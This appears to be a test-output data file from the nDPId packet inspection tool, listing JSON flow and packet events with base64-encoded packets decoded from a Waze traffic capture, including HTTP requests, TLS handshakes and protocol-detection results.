+00410{"flow_id":16,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":704450,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodMtAABAG0Wk25uOsCggAAQBQsfAOvszk8UE1QlAQ\/\/\/W0QAA"} +00410{"flow_id":16,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":704733,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodMxAABAG0Wg25uOsCggAAQBQsfAOvszk8UE1QlAR\/\/\/W0AAA"} +00410{"flow_id":17,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":705148,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoY6pAAEAGsooKCAABNubjrLHyAFAC8Q5A\/Q7xwVAQ\/\/\/Y9AAA"} +00407{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":705357,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGFjUKCAABNubjrLHwAFDxQTVCAAAAAFAEAACygAAA"} +00612{"flow_id":17,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":706282,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"ABoRAAACABoRAAABCABFAAC+Y6tAAEAGsfMKCAABNubjrLHyAFAC8Q5A\/Q7xwVAY\/\/8YIAAAR0VUIC9uZXdWY29uZmlnLzEuMC8zL2xhbmcuY29uZj9ydHNlcnZlci1pZD0xNSBIVFRQLzEuMA0KSG9zdDogY3Jlcy53YXplLmNvbQ0KVXNlci1BZ2VudDogLzMuOS40LjANCklmLU1vZGlmaWVkLVNpbmNlOiBUaHUsIDE4IEp1biAyMDE1IDEyOjA2OjEyIEdNVA0K"} +00672{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":201,"source":"waze.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":4,"flow_first_seen":1435587872702,"flow_last_seen":1435587872706,"flow_tot_l4_data_len":250,"flow_min_l4_data_len":20,"flow_max_l4_data_len":170,"flow_avg_l4_data_len":62,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45554,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Waze","breed":"Acceptable","category":"Web"},"http": {"hostname":"cres.waze.com","url":"cres.waze.com\/newVconfig\/1.0\/3\/lang.conf?rtserver-id=15","code":0,"content_type":"","user_agent":"\/3.9.4.0"}} +00409{"flow_id":17,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":706630,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodM1AABAG0Wc25uOsCggAAQBQsfL9DvHBAvEO1lAQ\/\/\/YXgAA"} +00414{"flow_id":17,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":706862,"pkt_caplen":56,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":56,"pkt_l4_len":22,"pkt":"ABoRAAACABoRAAABCABFAAAqY6xAAEAGsoYKCAABNubjrLHyAFAC8Q7W\/Q7xwVAY\/\/\/LSgAADQo="} +00409{"flow_id":17,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":707184,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodM5AABAG0WY25uOsCggAAQBQsfL9DvHBAvEO2FAQ\/\/\/YXAAA"} +00936{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":833130,"pkt_caplen":445,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":445,"pkt_l4_len":411,"pkt":"ABoRAAACABoRAAABCABFAAGvdNFAABAGz9w25uOsCggAAQBQsfL9DvHBAvEO2FAY\/\/\/VuwAASFRUUC8xLjEgMzA0IE5vdCBNb2RpZmllZA0KQ29ubmVjdGlvbjogY2xvc2UNCkRhdGU6IE1vbiwgMjkgSnVuIDIwMTUgMTQ6MjQ6MzIgR01UDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTMwMA0KRVRhZzogIjg3ZGIwYzZjZjc1MzdkOTA0ODBmZGE5NWI2NmJhMzcwIg0KeC1hbXotc2VydmVyLXNpZGUtZW5jcnlwdGlvbjogQUVTMjU2DQpTZXJ2ZXI6IEFtYXpvblMzDQpBZ2U6IDcNClgtQ2FjaGU6IEhpdCBmcm9tIGNsb3VkZnJvbnQNClZpYTogMS4xIDg3ZmI0NTNmZjY3MWYwNGExNDEwMzFhNzUwZTBhMmU3LmNsb3VkZnJvbnQubmV0IChDbG91ZEZyb250KQ0KWC1BbXotQ2YtSWQ6IDVucmtCaGFCQnRCTVNPaWVqLXFOejF3YVlSRWdMYUJOM0lRa1ZjXzFaYWpMdlJjREtMZEdmZz09DQoNCg=="} +00410{"flow_id":17,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":833363,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoY61AAEAGsocKCAABNubjrLHyAFAC8Q7Y\/Q7zSFAQ\/\/\/W1QAA"} +00410{"flow_id":17,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":833657,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodNJAABAG0WI25uOsCggAAQBQsfL9DvNIAvEO2FAR\/\/\/W1AAA"} +00411{"flow_id":17,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":837510,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoY65AAEAGsoYKCAABNubjrLHyAFAC8Q7Y\/Q7zSVAR\/\/\/W0wAA"} +00410{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":837771,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodNNAABAG0WE25uOsCggAAQBQsfL9DvNJAvEO2VAQ\/\/\/W0wAA"} +00410{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":837958,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodNRAABAG0WA25uOsCggAAQBQsfL9DvNJAvEO2VAR\/\/\/W0gAA"} +00407{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":838050,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGFjUKCAABNubjrLHyAFAC8Q7ZAAAAAFAEAADHOAAA"} +00728{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":853157,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdNVAABAGRBw0EXLbCggAAQG7mGJipmQnnVmquVAY\/\/+kkQAAFgMBAKoEAACmAAABLACgg\/JpS9qUL5p6+FH6c6MxwGHdZoAEWdlA63n4D4hFw\/uw5qwJrVHTNosaHlAGFqk2W6MnVLgELtXGqHw4tL5nYhLWS9KVxJxgHYPhfzz\/GHXOxkwlsUgEtZVmpWdAE3uvCc3vp4ZuNR1v6fuw7vKA+qtK9ySVpzbd2enk2WSRA8rce17qLtsEbDZKlhF1pljsrohuEoXKFbRTrZjn5qYIOxQDAQABARYDAQAwIoZd5qLXePDpBX37w1BIXQqskElYQxboOt0ojrvk4nlOFw1jqroJfXW5\/93yStDj"} +00725{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":903586,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":283,"pkt_l4_len":249,"pkt":"ABoRAAACABoRAAABCABFAAENxDlAAEAGxLwKCAABNBFy25hiAbudWaq5YqZlEVAY\/\/\/ylgAAFwMBAOAEodIEpoZEBbMOZXJZAVYJz2DQPbSI+1MNcikEHllNKksglFz98XyspiXSkchKTXii8JsSCqXHQM+6J7gzOp5TswqzAum3mf\/1MZsrFuYWD4cv3DQ\/HR++eQmURGzDQz7\/0yQ04YNkNmkbS6dAvDTHM7XmvnkA2DSRMug8BCAA0wDbvpivoRN7KygJb\/eRV3kViuKJQaORaFf7Zh2+qs5fAQZgZXW7XVRov2BiBmIVbVgnbtcszaReRiIaFi2jUZ7vCGgYC6GwoQ6D2Otzg5vWzmt0ByrAGkjtmKJJhDs7rg=="} +00409{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":904128,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodNZAABAGRQU0EXLbCggAAQG7mGJipmURnVmrnlAQ\/\/9UEgAA"} +00462{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":905284,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNxDpAAEAGxXsKCAABNBFy25hiAbudWaueYqZlEVAY\/\/8yqgAAFwMBACD6917ZS0W0rHHTYWU20EnVv2Org\/L65b3ajIwLBSra5A=="} +00409{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":905648,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodNhAABAGRQM0EXLbCggAAQG7mGJipmURnVmrw1AQ\/\/9T7QAA"} +05827{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":171594,"pkt_caplen":4048,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":4048,"pkt_l4_len":4014,"pkt":"ABoRAAACABoRAAABCABFAA\/CdORAABAGNV00EXLbCggAAQG7mGJipmURnVmrw1AY\/\/9yewAAFwMBD3Ae1c06ifDdZ7BaSZ+kw2is10akaaf1JPfoUrCK2GqgGQQcgA2X4xxr6A49RJfWB0c7fivetH79hLECquq0UzRCLMJna6CBqDbIblxhRoJUE2P3G2EvUNUHgpLQ35HpNtXvJhMK27hRNI416LMXU0D3Yf7mO3+EtSTj2xRgPaZoSOeoDuALIHS8KjaZX+sOMVfcn3JZS5icItFEkjQ45fzYKyp3cul3Tflim37qqdx6u++pYAFTTMb+LGOW5\/baL\/d0W2Zhs2KJKrDGYNj6\/vZXg21Pxw6cAg52ufQfS3Y6OhnsyabaYLWPDufFI0MosFGQHpKQXS8zwvFfjO4TSI9eIzkZdyVCdTdiqLdZsJxJxfZkB7oFpmkikM3tOM127FHB5f3smAF23Z8r48mowA5kfAJYM4E20uWYE3DpVEiIloL4EO\/Dlmv8JAOORWjzGyOnO8nEzNkm8yPJj4DKpj28XdbiMPy7GY+2hpS\/iDe7qInE5pa0thfuRq5jNhEh4K4t46\/lvAR3uV4CIcfwT+aOXR8Xjz3QxiXw0LYsctle76Kvpn0L7wUW9UvrzeI4ag3VLmH+xVEKHImUqFXShcW69D9uKvDhpopLD6s4cViJH\/Bxs0p5zltV5+xUsI2pQ\/i+90u1d1DYRUkc0BqgwtC98oVzrNHEzMLd+jpSsNa7jzPeDn7ELQpHe31C9\/EmCU9o\/cH4Rf\/bsnc\/ypMnpV06zxJPuotqWGx6A4msAS2RJJ3P2SnJRCbS0HNcSqR2mzrVqvIDn4wGwTsoN3IkQw\/\/nyrh5PFoDv6ljKtVLWmBc7IIExpb8ZhBHF1+yPvfeVyjBFmZ8xO3ON93R3RdCGEmmKXTUVAfOj2LCzpCVgM8KTJe1xqUQ6hBmfT7ScIZ8qS+HhQoU1\/nJSFGq40ujteIcpYB3oTdScuGYGXmFtTSKFtxoJcYF+XeplO49VhMGVbojnqb67ZQN\/QOuAyZf0qEDVNrtBBcX4wMEewmPY+8VFq\/FLcYyPe7FhK9AQAtlZ4TDqV6Z3LIGWzXxJGUOOMgu316+O3YdELUYTTKwO13dx5aXlzwVj6smB3JkoB3WTEdelTSMKv45QdrGYPgfPqV\/gFmHQiIA8x4DrJfy0hVe2MDGSm+4Nkz19vJxUOA3PhKGz4VBqRlDCdZv4a\/q0ZXgti9y5cSflabJC\/Hq8ylIGQaUAehfkTXRflip0lrDHGSpyGyFsWhcuMkijFevtzDd\/3kUwQKd4eV5wqg0PY\/mBolDUg5vIy85pzGKbsjBzvvvR2Ht+5wld362BaNYuSPh\/Cdr+9FWREh1OLrxKHo9bsI4ySk1OyYv+d10tRZSZYzifqoqyY1UgP0W+aZlyKvkAnOudIc\/+B81xBe3WRzNn2mx8vUHoiu6\/JIn\/F6I2AJOsyAvH2lOPj+qg7Cd8VUBEr1sMNhH\/qKwjVUYhO0M17mjpJzJx9l3\/BnjBl8KMSKrQIECl4dc9np74gluhOM0na2oCiqwdc3QHryuFgzjmIMEZqWqijN8ueMAo7n\/VrXBTYDPv7NhpU3tTlz1v81VERyfk6v+D7xXUqkekcaceuBOP78Hs3EYijWXU7gIqlJgzl0qb9vCGZnhCPaTEMtfK3VQSsA1DA\/\/GJ8V2mS27\/19rI93iWU5DRZolI4dOM1bElAWkyH\/HwUpeKHR0H45nrmE\/4yC9jtXIYo5ED9LqFg5rnn43iWSfcymbrrwqAqg7AUW1k7QOdYRPgnDBilO0nJhvG8tu9xb7g5215LROCwK8+6JI8mlaKV7ZCku2lSHeO1LtkBgsc\/zDkvyJ8eyfMsa4CObp\/GyVmlvkL0BeWJBPsFcj4+766YxCs5+AGJ9AgtPdNUsu\/lfw4PP1edysDT3641dnKwW3iA25hqBqAP\/zfc9CUjnmXjz9KHWt1cAeVqQiqJkBC8KcLxj3YtstEl9wQ1t+9rjUVo6PPfvroxIXjgRdzpE5zxIz4Ae9iZe6IFZqI6slIJk7A8b1\/CsiLmDmnizHMUErGfnt7aBPb7BQ6gu34tFFJMff7FTF+Pw7yAK12iJ11HtcDlESMTZqU3MOJlPwLMm4yc\/BgxXio\/l8D8vgt\/gnBZktZrBoYAYAkKT8oa\/Hh3llZB4fH0OHbKcAyPMFo4rAr3oXnE95vDLJNzTDAeYlTWHwS+NEutWihUoRlUSVMGpfm75ZZi6jHXnk9houTnDnwkkpg+\/6hISwKPKcZ3EpMTZbQOgi4TRmvU3O3xuT\/UM4TasLtNypx4xZF76qiOE+RG4MOYCtUCvArnh\/aEV4\/Xli3hNIkVzh2iTgWiYHe7ZN+NBQCBiJKaMsAQnsQ8RivuVcpZhzVioIgfyz\/lv3ppbJc0VLrAzrO6znQtBlgbd1khNk0ljCWnDJ0puy0oGtt1CNhL7apcZDDUablPh7g6s8uDjFB9hJ375sst1C+MVfocPQ\/BSTAtvc0QYSGwS66p+nJ+tS61qMMO3x2vojMSVIvdpb9l8yoXf3T5KraqlNQhuddurP9SjpBEZzKVRUOJ0gxBaGSnGLQm7DeSEYR9t5VbKpT7OXC7zG\/Ftmi4onHtADMvSPOt5m28YgN9Fko6B93SomlAHpDiZKWvFxiTPHEGysrA27U96Ri5UYAPgEeHOdQkRSDf7ejopsWDARLq1h96dctb\/EPa3CnW5xuFSu246gpY4mTqqGvJXT1IrcKxlrJVxau2Kf7inuWM6\/mSiBqI3Nww6eWib5YiNCb6iIZeRRt0bo33bIKDhRNu2FDTjJ+MT31fmL1OEWJb6n0Y2tH10vcYWCtTlbM4aYPYvpdxdEU91I+JCPJXEU2RZaAwab8rCCbPK\/QbHbuKXdqPrtPu0Q7MifvodJlv35fNYzuy7KdTfuRURp9jOQJAMUhZnuvLj9KGt1kDnRDSq4cG10yveZG+6xm+TvZYEgPbAi8YiukBp3OoSVvgAUtCQzyw4MKmSVzKlBsJaxMdb\/h5QNgGOKwM5UW+N77Zu6q38MZ2x2on07fx0aCtYzGiyHQn5WPk+txqZ5uWD9fyu9aiASXlmgWhYSpCMxkv6\/cRTK36I2W+lPFcctgJ4zL+C6qtJQcdY+0LCoUbsu9Cgor5USSObbpMnOUyqzpG\/Hol0rJyGv3XT8N6sNXKZ9Nsb\/G11pM9dSWvMxXZYPsacJ+IaYuMb+BeYWbQOJpM8uFiMCq\/dTFMyh061ufwV8SEYEY1s2PniEfBICKp8NfgVzkcvaw4gNE9h70qW5HTy7FW5Cv2DDVp4nbVBoGqkDT7032S3BUHxXoYVuDwWqubWneN0HosqS3OJFBnjUG9GmJ2kIId6ltlSQMIFj+q5zCJKTtsGW0G3Vrt15htewNjxtWy4GhgnNqbz5VXvnvWYUx5YTGjZk7NqitRwSryuXMQ8NsS4Vjtm5wcvv+Evz0kTcXoguSt6x9wqhel\/dNO4ZEXJxtzKTGdFqYNBp5lpP3vhO7ILd5JspWHTePyD9hWd4Ske7eWn68+nB2z2jpBoA90+Wffnuk9dd73+BlCai0pfRGS27ng1COwvdrkTyuWdNGIKqrvBdxsqBslGyZn3pZhmPLyhO9M4RzvOUYMtZOKZsqpHDPgnfY2puI7Ehn+XdQWOmpFqeoMXAOQcUyUm+io\/SCKEERDygLh+EBk39s4xu6uf0VYhvgU41d97r5JiglCI3HLiIhzIDnWK56XOziDzHWFzhNgaGFyHR4KUCboM4iUwAne4em1aGRhPFdihboZ1texKS1+DDu3pS+4mR+dbJtPgTJoT1TI+zUmDkpTcGJN6kJuAo30grqYznoL0o5lZE8RsImRB2QwdK8+NUcBYTNaZ9BIjmg2p46TEo+lcvU4vyqIMcw\/JsnnkNHoBniX6G8wz8XZq595zK41RXPqrD6HAtUk1jULRZlGWQNtrmf0OgAuziv2+IphpKBdxuvfhR\/kB+Gvh2\/65eQey5u54nnDI6GOzjIRYHBwaV5abp7VTNd\/CDMDNVlV7Je585PkWCSrsl+1Wcgyj44re38ee2VqoOr1jW6G40wCBTdPUBLkm2HL+wFWNE5AOUBK3SszzoyBLLX7gkRpMwXFcPfm9G\/CgPNkDoXgrln5oE3WiKgdtEGybPSAxjECh8lCckRtt8xEX31t+DCHN1ghq47p9Fu8O15jb0c8ddAyGh2lGx7x9qLkCxB7\/WjKpvUQmzQXR3Tx6aXpAfxSB43qOkKqBbzHAG\/RVSuJ4o89z0g1a1zRIXQ7bfBn4V3LN9G8ZSIF3N8oy8a4Zs0zSwD2yEDpr\/ynTAR2SWlmtUIuKPcPyROtn8\/vsz5+oSu0nbFXxUJg4OjO+7vPzhOzEFMkYYgMFl6vjlo5jsdklntcEo4HvNW8KZZxIWn+VgOHEJZ4MOKtT4xn1iF81dsZGASWVXP1tBkxRtmr74k4DkeAdmakOZW+Nzktm0mbm8PoRbhjgcoguNXsXIQC9IMzS3awc69AkXVvJgBPrlORKCP2mvjUC4od1mUF5F4troUNoSOHS9gk+ijuwl5BgiA\/JEYjP4tqH2Ljq\/+s+SmioaJvBAdtrVfdvGHStUDEqgzn1xCFjbAcSnJPnrjnZkugbW3EZGuCow8d2QAZmCuEYgG3sUf6IdXG\/bR4mWQaJhEwVupEkhSKroqQLzO9nbD0OtiWrtLFy3TR\/gd5PBcNZ2vkvFCBQea\/ZWzMneHkZb39NleHRib2QY4CjUW67W\/If2WZ0JyPjqdU\/nvG8Bbe17t8Dkg5Fu3TjP4ECPeGj78G5sfpsv3lttjoyG+NwIvNvQwz1IqwWmVaw2tO91MFwFPbBpyHrctpRRu7Ehc8hFxOB5Pe8s8ji+wMlVwGMPJD7XCGClVivG8QHOf3JIp2mzDc8UcxijSMLLfzWHnd4R++FrqsnL1CI9DEOoORFM2xKaYaxv3QjvDSdNU+ni1LhfjlyxuPoAWw8UZrTFQBUpHMJ\/GugSfFyjjHvHajyC8CgSep\/9glZNMdwXoasxxJmSb0slxpPl2WyC6+mqAuD3492+8ZwKel2BJM07v9aw49\/xHXwlCpvKinlH5D\/8aDyY88+ck0so149hs+v1gS4l+HFZn4QiE4muz7RdPJYlPjR1Mu4ZwC7aeBD2h9yPYpIqTrRJLJFDofxE70e3h4GrC4uLr+\/rMpHPqVIZe6TPwLh3PXwYSOxdl4cnNm2vmZ0U+YiY6jGOK\/g7dh1OYe4aYxA+WMlHWHBJ1jUaaUswbh3PKKlaW2O8MnOYjKBqYA7Wz2DRPDpTRwOFvJFQMBACDEWUnamGel4WGO8B7bz17uz\/4UBIKizwpxrvKxIfvTEw=="} +02254{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587873,"pkt_ts_usec":486827,"pkt_caplen":1422,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1422,"pkt_l4_len":1388,"pkt":"ABoRAAACABoRAAABCABFAAWAdOVAABAGzv6wImdpCggAAQG7x2rbsbi4JE5H\/1AY\/\/+OAwAAFgMBAD0CAAA5AwGT\/N2DAjIgaWtQ9FtzlofeU2qXyUUfT55EGVPZdVXqfQDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBC\/cLAAvzAAvwAARyMIIEbjCCA1agAwIBAgIIGh2bzDH41NkwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTUwMTEyMTMzNjExWhcNMTUxMjMxMDAwMDAwWjBkMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzETMBEGA1UEAwwKKi53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN3DcqHH9nkO3xJ2\/KjK4+KdknYUOVAk5FCYu5jhH\/bx1tLDU5Ztle1x8HXTubW53UMCKQTgs3yaddERtJEwSjyOgcGzlHOBFe\/UBG5axvku4xaKMLfQktC2naRwB2q5Zom58pascBUUKKOZ26OEqBgHScTupV5iXj2dZqbrBMYx2mzRxrYrezh6HTAvLdjhr5H5Y8GFvRsIJNaQ3RiwUMzGqBqvApch1ohN8NmHPL5rAyRQfJ3ATlFU6SBrCbVrSV6DCXrLr2DYC4NtOWPEwmBlvslYl+WfClmW6BJgXQEErTAD4MEK2x2ubl5h0Cf8PUnVyuPmxzQVU39c6eXAQc0CAwEAAaOCAT0wggE5MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAVBgNVHREEDjAMggoqLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQUAd9hvZ9qWOfmBT7pRCOjoYgBvDAwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEALdEMofnAGs9KF\/aAssHoa027WFzlWlvAbahX1IS8HUzv4b7JE7O0JpCoo3n8\/YUadxD2PgK3U10HkSESZRPOEPUTuWPs2UxFE\/n5D34NIkm++oUgyVGOxd+tZTYilONIzglzPOPjwLpJRWewhlKC6I+dLqlm\/SdDf\/pngDN\/VbjmZ\/PKSIVX0ndrGoitOGL6cTZzcCN6T+tScWH0F1BGXTJlCsG\/cM1dsQxrwcY+4dBN5kQOon3i6gCvwBVGWuV5oLg6ItomasewqbtKKSz9Dz3xF1GDgpcISl4W4bCy5wn+oOv8UEqnX+NyIshCEV1j1gDa1t++GW4+YjpoJwLyFwAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMC"} +00786{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":247,"source":"waze.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1435587871929,"flow_last_seen":1435587873486,"flow_tot_l4_data_len":1690,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1388,"flow_avg_l4_data_len":281,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51050,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"}} 